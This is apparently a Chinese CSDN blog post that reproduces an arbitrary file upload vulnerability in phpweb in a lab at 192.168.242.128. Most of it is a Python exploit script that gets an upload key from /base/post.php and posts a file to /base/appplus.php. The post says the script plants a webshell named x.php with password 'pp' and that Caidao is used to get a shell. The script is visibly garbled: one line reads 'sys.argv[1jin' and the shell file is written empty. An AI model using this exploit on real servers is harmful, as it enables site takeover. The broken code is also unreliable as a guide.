[漏洞复现]phpweb 前台任意文件上传漏洞

环境搭建

phpweb环境搭建很简单,基本就是下一步下一步点点点就可以了。

搭建前需要创建好phpweb对应数据库,如图:
在这里插入图片描述
然后前台下一步下一步一直点,安装成功:
在这里插入图片描述
前台:http://192.168.242.128/phpweb/3151/

后台:http://192.168.242.128/phpweb/3151/admin.php

复现:

漏洞位于./base/appplus.php文件下,使用exp复现:

python poc.py http://192.168.242.128/phpweb/3151

如图,EXP会在网站./upload/目录下生成一个名为x.php,密码为pp的一句话木马,使用菜刀直接连接,getshell:
在这里插入图片描述
在这里插入图片描述
**

EXP:

**

# coding: utf-8
# author: print("")

import requests
import re
import os

def Md5(strings):
    import hashlib
    m = hashlib.md5()
    m.update(strings.encode('utf-8'))
    return m.hexdigest()

def get_key(uri):
    try:
        data=requests.post(url=uri,data={"act":"appcode"},timeout=10).text
        k=re.findall('k=(.*)&',data)[0]
        t=re.findall('t=(.*)',data)[0]
        return {"md5":Md5(k+t),"t":t}
    except:
        print('fail to connect to server')

def send_shell():
    data=open('x.php','w')
    data.write('')
    data.close()

def upload():
    send_shell()
    get_key22 = get_key(uri)
    files = {'file':open('x.php','rb')}
    data={'act':'upload','m':get_key22['md5'],'t':get_key22['t'],"path":'upload','r_size':os.path.getsize('x.php')}
    try:
        r = requests.post(url=upload_url, files=files,data=data).text
        print(r)
    except:
        print('fail to connect to server')

if __name__ == '__main__':
    import sys
    if not sys.argv[1]:exit('example: python phpweb_rce.py http://127.0.0.1')
    url=sys.argv[1jin
    uri = url + '/base/post.php'.replace('//', '/')
    upload_url = url + '/base/appplus.php'.replace('//', '/')
    upload()

在这里插入图片描述

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
©️2022 CSDN 皮肤主题:游动-白 设计师:我叫白小胖 返回首页
评论
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值